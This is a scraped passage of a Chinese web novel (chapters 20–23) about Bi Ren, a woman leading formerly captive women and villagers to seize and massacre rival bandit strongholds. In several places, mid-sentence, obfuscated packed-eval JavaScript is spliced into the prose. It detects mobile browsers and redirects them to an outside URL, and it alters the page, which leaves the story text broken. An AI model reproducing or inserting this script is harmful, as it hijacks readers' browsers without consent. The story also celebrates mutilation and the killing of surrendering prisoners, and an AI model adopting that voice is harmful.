多么好的宣传机会啊,可惜可惜! 女子:“那我心愿基本已了,活着也没什么意思了,不过……就是有点可惜没把何虎那个王八蛋一起杀了,让他活到现在……” “何虎?” 女子愤恨骂道:“就是那个阿虎,就是他把我虏到山上的,他是我表哥,我们自小一块长大,他怎么能如此丧尽天良猪狗不如!可我不甘心呐,凭什么我什么都没了,坏人却活的好好的?!” 何虎,阿虎……毕仁把这个名字放在嘴里慢慢咀嚼了两遍,而后恍然大悟,原来是他啊! 何氏一族还真有漏网之鱼。 在屠何氏一族的时候毕仁就说过要鸡犬不留,今天既然发现了漏网之鱼,当然不能放过。 毕仁环视屋内的女人们,她慢悠悠开口:“你们谁要是想死我不拦着,不过死之前不想报复一下伤害你们的畜牲吗?” 报复? 还可以报复?! 于是昨晚侥幸存活的一群山匪又迎来了他们的噩梦,本就被捆着扔在露天一晚上,夜风侵袭又冷又饿,好不容易眯着了一会儿。 一大清早的就见一群气势汹汹的女人在母老虎的带领下提刀而来。 一个个凶神恶煞,完全不复往日的胆小怯懦。 毕仁位于上首,虎视眈眈。 山寨的女人们出来指认,贾二、老曹等负责提人。 指到哪,哪里求饶声一片。 那几个原本心存死志的女人亢奋的像打了鸡血,一刀接一刀,没力气了就换下一个上,直到把绑着的几个山匪一个个砍成了肉泥。 连死了的都没放过,还被胆子大的给扒拉出来鞭尸。 毕仁望着那个持双刀用力剁馅的妇人挑眉,这个是真的够凶!她喜欢。 孙厨子觑着毕仁的脸色小心翼翼的上前:“嗯,您别看她凶,四娘她是个好的,人不坏,和夫人您一样心地善良。” 咦,你这话确定是在夸人? 毕仁抬眼看眼一旁站着看热闹的孙厨子,问道:“你和她熟?” 孙厨子嘿嘿一笑:“也不算太熟,不过我那时刚进山寨,因为这一身肥肉差点就被抓起来吃了。还是文四娘和以前的大当家说我这样的胖子肉太酸不好吃,建议我去厨下帮忙,才侥幸保下一条命来。 要不是如此,我老孙也熬不到遇见夫人你不是。” “嗯,那她算是对你有救命之恩。”毕仁点头:“所以你才这么帮她说好话。” 孙厨子嘿嘿嘿,也不否认。 毕仁:“放心,我从不因为人敢于动手复仇而心存鄙视。口舌、诛心、借刀杀人等等都是手段而已,兵不血刃并不就比手刃仇人高贵。” 所以,她还挺欣赏这敢于下手的文四娘。 孙厨子见她如此,就更放心了。 何虎这次没能幸免,也在被砍之列,动手的正是他的表妹——刘莲。 可见天理昭昭,报应不爽。 等发泄完这一切,刘莲抬头,目光炯炯:“我不想死了!他们这帮无恶不作的畜牲都能苟活于世,我凭什么不能?” 毕仁微笑:“当然,你比他们要堂堂正正。” 刘莲:“对,我要活的堂堂正正。”说完这句话,这个曾经被伤害、想寻死、砍杀土匪时都未哭泣的女子,此时泪流满面。 所有人都目睹着这一切,四周寂静无声。 毕仁环视一周:“记住,这就是伤害女人的下场。” 众人噤若寒蝉,尤其是在场的男人们。 毕仁打了个哈欠:“杀累了没?” “没有,回夫人,杀这帮畜生多少我都不会累。” “唔,这样啊……那改天我带你们出去杀。 …… 谁也没有想到毕仁的随口一说竟来得如此之快。 拿下黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12903615|135095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龙寨刚刚三天,她就已经把谋算猛虎寨这件事提上了行程,并且开始实施。 这次打头阵的是娇媚的白清,她一身红衣娇娇弱弱的站在猛虎寨寨门前求见二当家牛犇。身后跟着一群据说是从黄龙寨逃出来的女人,想换个地方求生路。 毕仁贴在她身后站着,轻声嘱咐:“不要慌,拿出你平时忽悠人的水平即可,放宽心,别害怕。” 白清于袖中狠捏自己的手::你就不怕我出卖你?” “不怕。”毕仁撩起她垂落下来的发丝,帮她别在耳后,“在你出卖我之前,我一定会先宰了你。想想黄龙寨三天才洗刷干净的血渍,千万别犯糊涂。” 清冷的嗓音敲打在耳边,激起白清一阵鸡皮疙瘩。 若不是性别不对,不知情的人看见了定以为是情人间在悄悄私语。 白清被赶来的牛犇热情的迎了进去,跟在她身后的是毕仁、程闻音、谭氏、班氏姐妹、何二妮、刘莲,还有下溪村的阎婆子和小陈氏,文四娘殿后。 除毕仁外,其余十人后来被称为“黄龙十杰”,当然这是后话。 一行十一人,打着投奔的名头顺的混进了猛虎寨,在二当家毫无戒心的情况下被带进了议事厅。 然后她们不仅见到了猛虎寨大当家,还意外的知道了威虎寨的大当家也在。 据说这两位大当家原本就是是亲兄弟。 真乃天助我也! 擒贼先擒王,毕仁怎可能放弃这千载难逢的机会,直接开干,上来就奔着抹人脖子去了。 动作快如脱兔,趁其他人还未反应之前一击毙命大当家。 然后就直接奔着威虎寨大当家而去。 牛犇来不及阻拦,就被鲜血溅了满脸。一切都发生在电光火石之间。 看着女人们纷纷从各自裙下抽出特意隐藏的武器,牛犇终于回过神儿来,冲着白清大喊:“尔敢骗我!” 白清:“姐这是带你谋求富贵,还不谢谢我,赶紧束手就擒。” 牛犇大怒:“我谢你奶奶个腿!” 然而这是他最后一句话,下一刻他就尸首分离。 毕仁抓着他的头越出议事厅,大喝一声:“猛虎寨大当家、二当家已死,尔等还不快快束手就擒!” “缴械投降者,饶尔不死!” 21.(二十一) 猛虎寨突袭只是巧取,还是占了白清和牛犇是旧相识的便宜,否则要想入寨就只能强攻。 白清领着十女虽然成功混入敌人内部,并且毕仁快刀之下轻易取了两个当家首籍,还外搭一个威虎寨大当家。 但匪首易杀,小鬼难缠。 猛虎寨众匪猛然得知老大和老二已死,愤怒的有之,想要报仇的也有之,更有那有野心的想趁此机会取代其他人,一举登上匪首的位置。 领头的就有几人一直在叫嚣着让一群女人偿命,更是咄咄逼人欲围杀毕仁一行。 奈何毕仁武力值强悍,她把手中人头往匪徒中一丢,腾出手来就解决了最先冲上来的三人。 这一手颇具震慑力,也让那些山匪明白了自家老大是怎么死的。 “这娘们儿怎得如此彪悍!” “咱们该怎么办?” “还怎么办?老大的仇还能不报了?要我说咱们一起上,我就不信她再能杀又如何,还能杀尽咱们寨中四百人吗!” “说的是,咱们一起上,把这帮娘们儿剁成肉泥!” “剁成肉泥!给大当家、二当家报仇!” “给大当家报仇!给大当家报仇!” 系统:这回人有点多啊,毕仁你行不行? 毕仁手握长刀,手腕翻转间刀口冲着一众山匪,眼神冰冷如霜:女人,不能说不行。 虽然人多,也就是杀起来费劲些。 她自己没问题,总能自保,大不了杀够本再突围出去。就是身后这些女人…… “你们以自保为上,必要时把黑土做的那些弩箭都拿出来亮个相,也让这帮没见识的土匪看看好东西。” 你以为十女夹带的武器只是刀? 当然不。 得益于宽大衣裙的遮掩,而且她们一群人进寨的时候山匪们没看得起这群女流之辈,既没检查她们随身携带的包裹,也没搜身。 可以说是疏忽之极。 黑土最新研究出来小型弓弩,只要瞄的准,箭无虚发,一箭一个可射穿胸膛。 毕仁之前对她们十人进行过突击训练,其它武器都无法短时间内快速掌握窍门,只有弩能做到远、近皆可。 没有比它更适合女子使用的武器了。 她们已经把里面搅成了一滩浑水,外面陈权怎么还未扣门? 白清也有些担心,低声询问毕仁:“是不是陈大当家他另有盘算?”她已经知道了,这俩人并不是一对,在她看来这样的关系反而一点也不牢固。 那姓陈大当家眼中的忌惮,连白清都看得出来,她不信毕仁不知道。 “万一陈大当家生了二心……” 毕仁眼睛微眯,语调更冷了:“他若敢背刺,我必活剐了他。” “你们只需顾好自己,实在不行就躲我身后,有我在前不用怕。” 这一话像是定心丸,众女闻言心下稍定。 其中班氏姐妹相互交流了一下视线,眼中意味只有她们自己知道。 有人会被毕仁的快刀震慑住,也有人不信邪想要跃跃欲试。 山匪们围扑过来,毕仁打头阵能一击毙命的尽量不会留下余地,偶有遗漏受伤的,后面的十女就冲上去补刀。 其中以几个手下见过人命的最为凶猛,如刘莲、何二妮。 像小陈氏这般力气不太大的,则是取巧劲,专攻要害地方扎,只要敢下手就行,这也是毕仁特意为她们设计的补刀方式。 值得一提的是下溪村出来的阎婆子和黄龙寨的文四娘,二人均是刀刀凶悍,完全奔着收割人命去的。 阎婆子持一把劈柴斧,最喜欢朝着人面门或是脖颈劈砍,每次杀完一个就要放声大笑,状态十分疯癫。 文四娘双手各持一把剁骨刀,砍人时喜欢双管齐下,还特喜欢奔着男人下三路下手,给人感觉阴狠十足。 这俩人如此生猛,给了其她几人以振奋,纷纷叫喊着为自己打气。 男人冲锋陷阵喊杀声有震慑作用,女人也亦然。 女子因着其特有的尖细嗓音,穿透力极强,尖叫之下把毕仁都惊着了,刀锋劈偏仅削掉了山匪一只耳…… 毕仁忍不住回头看去,心下暗自忖度:我倒要看看是哪个勇士嗓音如此具有穿透力? 一看之下竟然是班雅,也就是那个双胞胎妹妹。 嗯……果然,女娲造人各有所长,总得有其亮点。 谭氏和程闻音是最开始跟着毕仁的,一见其他人都如此卖力,她们怎能甘心后来者居上,也都奋力表现。 这也是母女二人第一次持刀伤人。 内心虽有惧,手中刀亦抖,但不影响她们一边啊啊啊一边杀杀杀! 画面可谓是十分割裂。 就在猛虎寨中混战一团的时候,终于等来了陈权率人在外扣门。 等他率人攻进寨中,就看见毕仁一行十一人均是满身狼狈,鲜血淋漓从刀锋滑下,滴答滴答落地…… 天空中飘落绵绵细雨,氤氲着女人们眉眼朦胧。 十一人站在议事厅前排成一排,眼神透过雨丝冷冷注视着攻进来的陈权,如狼似虎。 明明是不同的长相,愣是被陈权看出了同一种感觉——恨不得活吞了他。 “这这这……” 毕仁甩甩刀上的血迹,有一滴正好落在了陈权脸上。 “陈大当家,毕某以为您不来了呢。” 声音轻飘飘,但任谁都能听出语气中的不快。 陈权脸皮微僵,他确实是这么想的,既然对毕仁心存忌惮,倒不如借此机会除掉她。凭她的战力绝对可以杀的猛虎寨鸡犬不宁,到时他就可以坐收渔翁之利。 这也是他的手下卢温出的主意,这与陈权的想法不磨而合。于是他就一直拖延着驰援毕仁等人的时间,没想到被赶上山的陈柄得知,催促着他前来。 陈权:“陈柄领着下溪村男女老少前来投奔,我为了安排接收他们才耽误了些时候。他们……” 毕仁:“谁说要收留他们了,嗯?” 陈权:“……”这话让人怎么接。 毕仁:“既然收了就收了吧,你毕竟是大当家。” 陈权:“是,我觉得……” 毕仁:“我觉得寨子里不能养闲人,否则口粮从哪出,大当家贴补么?” 陈权:“呵呵,那不……” 毕仁:“那不合适,所以现在就让他们都过来收拾战场吧。自食其力以劳动换取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12914987|135095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粮食和山寨的庇佑,想来这是他们做惯了的。” 陈权:“……”谁会做惯了收尸这活儿? 行吧,母老虎心情不佳,她说啥是啥呗。 有了黄龙寨的经验在前,底下人做起事来是更加得心应手。尤其是程闻音等人,衣服都没来得及换就开始投入到清点人数、物资之中。 雨水渐大,雨滴落入女人们的衣裙,浸润其中再顺着曲线蜿蜒而下,滴落的点点水珠由浅变深,由粉变红。 女人特有的柔婉、娇媚均不见,只留下一个个步步生血莲的脚印穿插在猛虎寨山匪之中。 观之让人心生畏惧。 陈权看着也觉得心里不得劲,先一步回了黄龙寨。 数据很快汇总到毕仁这里来。 班文:“猛虎寨共有山匪四百余,今日死于刀下八十,还剩三百二十三,其中有老弱妇孺四十人。” 毕仁:“嗯,均按照黄龙寨的方法处置。” “是。” 于是下溪村这帮前去投奔黄龙寨,又被赶到这猛虎寨的村民们就眼睁睁看着,刚拾掇好的那堆气息尚存的山匪,被当着他们的面补刀。 !! 呕!! 毕仁皱眉:“忘了问,你们村之前的里正一家怎么样了?” 有人小声回答:“都,都死了。” 毕仁挑眉:“这不就完了,都是沾染过血腥的,怎么还总摆出一副悲天悯人的模样?” 她起身环视一周,看着下溪村村民们,觉得有必要把话说清楚。 “山匪杀男人,抢女人,食稚子,无恶不作。长久下去你们都得被祸害的绝户。 想跑,可是没有路引,出去就是流民。 要路引文书?呵! 匪盗猖獗已非一日,官府衙门可曾派兵剿匪? 那日我于刀下救出尔等性命,既然今日你们来投,那一切就是天意。 从此刻起,我和陈大人就是尔等再生父母。 跟着我们走,至少有你们一口饭吃。 来日若是能随大人建功立业,封侯拜相也非不可。 诸位相亲,你们是愿意做那待宰的羔羊,时刻担心屠夫磨刀霍霍。 还是愿意堂堂正正做个人?” 村民中有人站出来起了个头,“我等愿意做人!” “我等愿意做人!我等愿意效忠夫人!” 毕仁:“做人好啊,既如此下次尔等就为前锋吧,望诸位不忘今日之誓。” 厨子孙盘见过这帮人的怂样,他有些怀疑,“夫人,他们怕不是为了寻求庇护而信口开河吧,真要让他们冲锋陷阵怕是……” 毕仁:“这次不一样,他们已无退路。” 若毕仁所料不差,十有八九是他们告官碰了壁。如此正好。 当地吏治如此腐败,正是给毕仁收割地盘的绝好机会。 毕仁:“刀不磨不利,你是个厨子该懂得这点。” 程闻音在旁说道:“威虎寨大当家都杀了,我们不找上门去,他们也得来。” “闻音越来越聪明了!”毕仁不吝啬于对她夸夸。 毕仁:“所以,咱们得备战了,争取先下手为强。” —— 22.(二十二) 自从攻下猛虎寨之后,毕仁就不是每次都出手打头阵了,接下来的事都交给了陈柄去安排,这人虽有心眼儿但比他哥靠谱。 毕仁则是督促程大伯抓紧采购粮食、草药,囤积各种物资,这是末世二十八年刻在她骨子里的教训。 同年七月,青州洪水肆虐,千顷良田被淹,数十万百姓流离失所,大批难民往北迁徙以谋求生路。 江北道又逢旱灾,可谓是多灾多难的一年。 白山匪寨所处的辽东郡也受到影响,此时就显现出毕仁事先屯粮的前瞻性。 民以食为天,部分地区吃不饱的老百姓绝望之下揭竿而起,短短数月间有能人志士纠集几十万民众反抗朝廷统治,妄图颠覆皇权。 冯仑(官差之一):“有贼寇纠集四五十万人造反,声势浩大,有官军甚至望风而逃。” 唐卯(官差之一)问毕仁:“我们该怎么办?” 刚才冯仑张口贼、闭口贼,毕仁听得早就不耐烦了:“别忘了,咱们也是贼。” 再说人家那哪能叫做贼寇?那是农民起义军。 毕仁:“所谓官逼民反,咱们也得顺应时势反一反了!” 孙胖子嘴角嗫嚅,小声嘟囔:“谁逼你了。” 毕仁一把竹简敲在他头上,笑骂:“猪脑袋。” 周衍从山下打探消息来报:“下面官府在张榜招募义兵呢。” 毕仁:“你也去,使点银钱混个一官半职作文书就行,仔细观察来投榜的人,要是有能人异士,不拘什么办法都给我弄到山上来。” 千军易得,良将难求。 人才与粮草、兵马一样都是重中之重。 洪灾过后,水淹农田,粮食欠收,疫症流行,百姓于困苦中垂死挣扎。 毕仁曾派贾二和程拓下山施药,但不施粮,却仍能收买人心。 王太公来找毕仁,建议她施粥救济众生。 毕仁沉默听着王太公在那长篇大论“君子之道”应当如何如何,末了她抬抬眼皮,直视其双眼,说道:“很好,累世公卿就是和我等粗人不同,您既是打心眼儿里为民着想,那就从你们王氏一族开始吧。” “传我的令下去,即日起王氏一族口粮供给暂停,攒起来留着赈济山下灾民。” 王太公被噎:“这这……”这不是他想要的效果啊。 他的本意是借此机会推出王家人担任此要务,继而在寨子中掌握更多的话语权。 贾二面露讥讽:“王太公既然如此忧国忧民,那就请身先士卒给咱打个样,在下也好多学学您兼济天下的品德。” 王太公偷鸡不成蚀把米,脸色讪讪退下。 老曹嘲讽道:“这老东西最会沽名钓誉,自己一大家子在寨子里蹭吃蹭喝不说,还想拿夫人您辛苦筹来的粮食送人情,赚名声。我呸!” 毕仁挥挥手,打断这一话题,那老东西浑身都是政治心眼,说什么忧国忧民,不过自私自利一老叟罢了。 自以为在朝堂上纵横捭阖过几天,就想在这寨中借势重掌权柄,想的美。 她问道:“十八寨现下情况如何?” 提到正事老曹就恢复了严肃:“十八寨还有两寨久攻不下。其中一寨是双龙寨,尽是走投无路去入伙的穷凶极恶之徒,他们不愿归附,一直奋力抵抗,使我方人手折损近百……” “近百?”毕仁语气沉沉,豁然起身:“攒点人手容易吗,说折就折了?这个你先不用管,等过几天我亲自带人收拾。” 毕仁:“另一个什么情况?” 老曹:“回夫人,另一寨名曰‘兴康’是一对亲兄弟当家,此二人以仁义著称,还略识得兵法,我们用计不成后打算硬攻。” “嗯,然后呢?” 老曹老脸一红:“硬攻也没能拿下。” “仁义。”毕仁慢慢咀嚼着这两个字。 “那就等,等到他们断粮那天起,每天送去仅够二人食用的珍馐美味,佳肴美酒。咱们就冷眼看着,看他兴康寨几时能从内部土崩瓦解。” 老曹不解。 白清接话给他解释:“现在粮食紧缺,如不是我们事先囤积了足够多的粮食,这漫山遍野的土匪们吃饱饭都成问题。没了粮那帮吃惯了荤腥的畜牲就又得把目光对准山下的平民百姓,那才是造了杀孽!” “夫人您收拢九村十八寨才是成就了大功德,白清佩服!” 老曹:“可这关兴康寨何事?” 白清恨不得把白眼翻到他脸上去:“那兴康寨既然标榜‘仁义’,如若没了吃食口粮待如何?” “下山去抢?那所谓的‘仁义’二字不攻自破。” “若不抢粮食从何而来?我就不信那两个莽夫能有咱们夫人这般未雨绸缪事先屯粮。” “再加上夫人让咱每天给他们当家的送吃食,你动脑子想想,大家都勒紧裤腰带饿着肚子,领头的却有美味珍馐,若你是底下人该如何作想?” 老曹恍然:“好一出离间计,夫人大才!” 白清继续翻他白眼,这狗东西竟然借花献佛,抢自己风头。 毕仁叫来姜淮和双胞胎姐妹的父亲班康,吩咐道:“你二人拿些金银珠宝去与那白山县程部尉结交,稍稍透露一点山上权柄易主的消息,并告诉他以后的孝敬依旧。” “从今起我黄龙寨改名为‘黄龙山庄’,增设三当家一职,对外称为‘三庄主’由白清担任。” 众人面面相觑,冯仑想要问此事跟没跟陈氏兄弟商量,被唐卯扯了扯袖子作罢。 众人从议事厅鱼贯而出,未得到差事的卢温出言讥讽白清:“不愧是能在山匪手底下活得滋润的女人,果然不凡。” 黄彦附和:“单就是审时度势,溜须拍马这两手就够我等学一辈子的!” 白清并不恼怒,面上一派淡然:“那是,从前我就知道伺候一个男人比伺候一堆男人强,伺候女人更要好于男人。似尔等这般嫉贤妒能的庸才,也就只能拿女人的身份攻击老娘了,呵!” 黄彦:“你!你这个不知廉耻的女人!” 白清:“我再不知廉耻也是你的三当家,放尊重些。张口女人、闭口女人,你这话敢不敢当着夫人的面说?也就敢和我这个肩不能挑,手不能扛的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12943520|135095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子撒泼!” 黄彦被她激得满脸通红,还欲再辩,被卢温拦下,他满面温和开口:“听说那猛虎寨的二当家牛犇与你是青梅竹马,不如三当家与我等分享一下手刃旧人的感触。” 白清脸色一僵,她冷冷注视着卢温一会儿,复而轻笑出声。 “我少时是与牛犇有情谊,甚至定过亲,那又如何?我爹卖我去填赌债的时候他尚且未敢阻拦。我攒了银钱予他,让他替我赎身时,他却为了给他老娘治病放弃了我。” 有人小声说道:“人家为了亲娘这也说得过去……” 白清叉腰怒骂:“放你娘的屁!他拿去买药的银钱大半是我的,你说这关不关我的事?!” “我被黄龙寨山匪买上山,他入了猛虎寨。多年后相见他已经混到了二当家,若是开口讨要我,也不是不可能助我脱离苦海。可他呢?屁都没放一个!只当看不见我,生怕让他们大当家误会了我们的关系。” “这男人啊,虚伪至极!一边暗中传信于我说他心怀愧疚,一边负我骗我还想套取黄龙寨的消息。” “你们说,他该杀不该杀?” “你们有些人的心思啊,我懂。既看不得女人当家,又没本事挑大梁。既要自己贪图享乐,又要别人去卖命。” “你说这是不是就是所谓的嫉贤妒能,既要又要。”后一句是从夫人那学来的。 议事厅前一众男人被说的脸色尴尬,无不埋怨卢、黄二人多事,你说你们没事惹她干嘛? 说到底不过是处理山庄琐事的“大管家”,毕仁安插的一心腹。 那位夫人已经大权独揽了,还差底下这些小喽啰。 偏偏孙厨子也出来帮腔,帮的自然是白清。 “有些人啊就是闲得慌!反正我老孙觉得目前的日子不错,有吃有喝,睡得着,醒得了,还想咋地?外面都过得啥日子,某些人就是瞪眼装看不见!” “哼,不跟你们在这瞎扯了,我得给夫人做饭去喽!” 孙厨子一甩袖子走了,倒是给卢、黄二人气得够呛。 白清不理会这俩酸丁,也自顾自忙毕仁交代的事去了。 老曹不理二人,揽着贾二到一旁说话,“你说,夫人为何对双龙寨之事如此生气?” 贾二:“当下如果要举事,人手就是银钱,一而再折损人手,这跟从夫人兜里抢钱有什么区别?” 老曹摸摸胡子:“你说的对,就是不知夫人会怎样对付双龙寨?” 贾二:“等着看吧,必定又是一场血雨腥风。” …… 没让众人等太久,议事厅提拔白清后第三天,毕仁就带着一队人马浩浩荡荡围堵住双龙寨的前后门。 她一袭玄色衣裙,骑在马上,飒爽凌冽。 “可曾调查清楚了,都是穷凶极恶之徒?” 白清:“夫人,清楚了。杀人、放火、劫掠、奸/淫、食人,此寨中人无恶不作!” “那就好。”毕仁点头,略一挥手,“来呀,给我夷平双龙寨。” 于是,这帮凶匪第一次见识到了什么叫做“火力覆盖”。 23.(二十三) 双龙寨大门外一字排开一行超大家伙什,随着毕仁一声令下,火把点燃裹满桐油的大石,在杠杆作用下一跃而起,成抛物线往双龙寨里飞去。 守寨之人忍不住跟随它抬头望去,张大的嘴巴还未合上,就听“砰”的一声响,山寨里轰然炸开一团火球。 一应事物沾火即着,山匪们慌张的拍打自己被点燃的衣衫,奈何火势随风见长,根本来不及打水灭火,下一轮石火弹就轮番砸了下来。 山匪们惊慌之下,四散奔逃。 想躲进屋内,奈何房顶被砸穿,继而引起大火,顺着木质结构燃烧。 火舌吞噬着一切,有生命的和无生命的都不能幸免。 双龙寨内部哀嚎阵阵,透过围墙往外蔓延,闻者无不心下恻然。 投石机加石火弹的配置,在当下还在拼刀枪的山匪眼中无异于天降异火,可怕且邪门。 双龙寨开始有人想往外奔逃。 前后门已堵住,只等守株待兔。 白清吩咐道:“夫人有令,不可放过一人,凡双龙寨人杀无赦!” 有人打开寨门投降,冯仑询问毕仁态度,她不语,直接看向白清。 白清收到毕仁的眼神,三当家的身份立刻上线,“不是说了么,一个不留。派人把好所有出寨口,逃出来一个杀一个。” 冯仑有些犹豫,再次看向毕仁。 毕仁:“怎么?我竟不知你还长了一副慈悲心肠。” 冯仑不知该说什么。 毕仁:“你若见不得这些,以后就在寨子里做些其他活计,至于这种造杀孽的事……” 冯仑抱拳:“卑职领命,卑职亲自去!” 毕仁:“去吧,都是穷凶极恶之徒,手里背的人命说不定比你还多呢,不必为此介怀。” 白清:“是啊,大丈夫当杀伐果断,为何如此优柔寡断?” 冯仑再也听不得那些话,提刀而去,也许是被激将过,动起手来丝毫不见心软,反而更加狠辣。 那叫一个干脆利落! 毕仁回头问班泰与黑土:“可看清了?” 班泰&黑土:“回夫人,看清楚了。” 毕仁:“班泰,等十八寨一统,所有的寨子围墙都给我重新加高,黄泥寨墙不可再用,一律换做青砖做基,碎瓦片碎陶片可以加在上面,我要它结实,不易攀,抗击打。” “十八寨中都要设置瞭望塔,烽火台,以便于相互传递信息。” 班泰:“明白。” 毕仁:“黑土啊,投石机还要再改装一下,射程要远,劲力要大,最好便于移动。” “还有,石火弹的威力需要增强,现在这样不太行,冲击力不够,爆炸范围还有待加强。” 黑土:“是,夫人。” 毕仁:“白清,过后清点一下双龙寨留下的财物,挑出一部分留着救济山下灾民,就打出‘黄龙山庄’的旗号。” “另外,挑些天资好的跟着江甚学习简单的医术,带着配好的防疫药方下山。” 顺道宣讲一下黄龙山庄的仁德之举,还可借此收揽人心。 比饿肚子更可怕的是疫病的传播,这点身为末世人类的毕仁深有感触。 毕仁:“一定要做好防疫工作,咱们辛辛苦苦养活的百姓可不能折在这上头,懂?” 江甚:“夫人放心,江某一定竭尽全力。” 欲举事,没有比‘仁义之师’更好听的名声了。 毕仁:“咱们呐,做了好事得留名啊!” 众人:“夫人说的是。” 毕仁:“今天领着你们出来就当是拿双龙寨练手了,看看有什么需要改进的地方。” “能提出好建议的,赏!” “泄露军\事\机\密的,杀!” 众人:“是。” 这一场与其说是攻寨,不如说是彻头彻尾的单方面围杀。 就算是已经归附的十六寨山匪见此情形都不免心下惊惧。 这黄龙寨人实是比他们认为的还要凶残。 双龙寨被大火燎成了一片废墟,埋藏了曾经的一切罪恶。 说话说恶人自有恶人磨,当真是因果轮回,报应不爽。 这一次虽是攻寨,严格意义上来说双方并没有短兵相接,完全是黄龙寨对双龙寨的碾压式摧毁。 黄龙寨一行人回去时特意从兴康寨门前经过。 惹的兴康寨内部人心惶惶。 “你说他们用什么攻寨?”大当家隋兴询问前去打探消息的属下吴仓。 二当家隋康:“听说是投石机。” 吴仓:“回二位当家,不是投石机,那玩意射出的东西都裹着火,咱们远远望着,一旦被投入山寨里面就爆裂开来,炸的哪哪都是,双龙寨内一片火海。” “那惨叫声小的在外面都听见了。” 哥俩面面相觑,半响后还是二当家隋康开口问:“那,这么说已经拿下了?” 吴仓:“岂止是拿下,整个双龙寨无一人存活!” 大当家拍案而起,一脸不可置信:“怎么可能?!那寨子里二三百人呢,就是挨个杀也得杀上一阵!” 吴仓:“大当家,他们……他们大多都是被烧死的啊!即便有人想往外跑,一出寨门就被门口埋伏的人给杀了!” 隋兴:“好一个黄龙寨,手段竟如此歹毒!” “他们当家的是何人?也不怕损了阴德?” 吴仓:“听说,是一对姓陈的亲兄弟。” 隋康:“造孽啊!” 此时还不知自己被人反复念叨的陈权也被毕仁的手段惊着了。 这,这他娘的…… 晚上陈权找到弟弟陈柄议事,先是扯些家长里短,搞得陈柄一头雾水:他哥啥时候如此墨迹了? 直到酒过三巡,陈权才道明来意,“那毕仁日渐势大,日后怕是掌控不住。” 陈柄:“……”早就掌控不住了你不知道吗? 陈权:“咱得想个办法治住她。” 陈柄静静听他哥继续说。 陈权:“要不……弟弟你把她娶了吧!” 噗! 咳咳咳! 陈柄:“哥,咳咳,你说啥?!” 陈权:“你把那女人娶了,以后咱就是一家人,不用再怕她变心背叛咱们。”他越说越坚定自己的想法,觉得此道正是制衡之法。 陈柄:“她可是有夫君的,那程拓还没死呢,难道兄长是要我给人当姘头不成?” “唉。”陈权摆摆手,无所谓道:“那么个玩意你瞧毕氏那女人当回事了吗?哪天一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12964222|135095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不高兴说不定就给弄死了!到时你不就嘿嘿……” 你不就上位了吗! 陈权冲着弟弟挤眉弄眼,眼底意思不言而喻:你信我,稳的! 陈柄沉默半响,忽而开口:“我觉得……我缺一位长嫂,观那毕氏贤良淑德正好合适。” 陈权:“那怎么行!” 陈柄:“大当家和军师,强强联合,再没有比这更般配的了。” 陈权哪能干呐?他把头都快摇成了拨浪鼓:“欸,不行不行,我真怕她哪天一个不高兴,你哥我就醒不过来了!” 陈柄:“……”说的我不怕一样。 他把杯中酒一饮而尽,留下一句“己所不欲勿施于人”就走了,徒留他老哥一个人在那怀疑人生。 陈权:不是,这小子以前不是挺听话的吗? 陈柄若是知道他哥的这句话,一定会说:谁在生死面前脑子还能不清醒几分?你可别坑弟弟了我的哥! 二人一番密谋幸亏没叫第三个人知道,否则若传到毕仁耳中,非得扒掉他们一层皮不可。 母老虎的婚事是谁都能算计的吗? 火烧双龙寨本是万无一失,猛火之下,只要是个喘气的就都别想活着出去。 但凡事都有例外。 这例外就是双龙寨大当家和他的女人丽娘。 俩人是顺着地道逃走的,谁料一钻出来竟然撞上了在外围偷摸放水的小兵,二蛋就这样莫名其妙立了一功。 丽娘欲以利诱之,求其放过自己二人一马。 二蛋正气凛然的拒绝了:笑话!那金簪子自己拿了怕是没命花! 他大喊叫来了帮手,把二人扭送到了毕仁面前。 “报,我等抓到双龙寨的大当家,还有他的爱妾。” 班泰第一个反应过来,“夫人,那双龙寨内怕是有地道可通外部。” 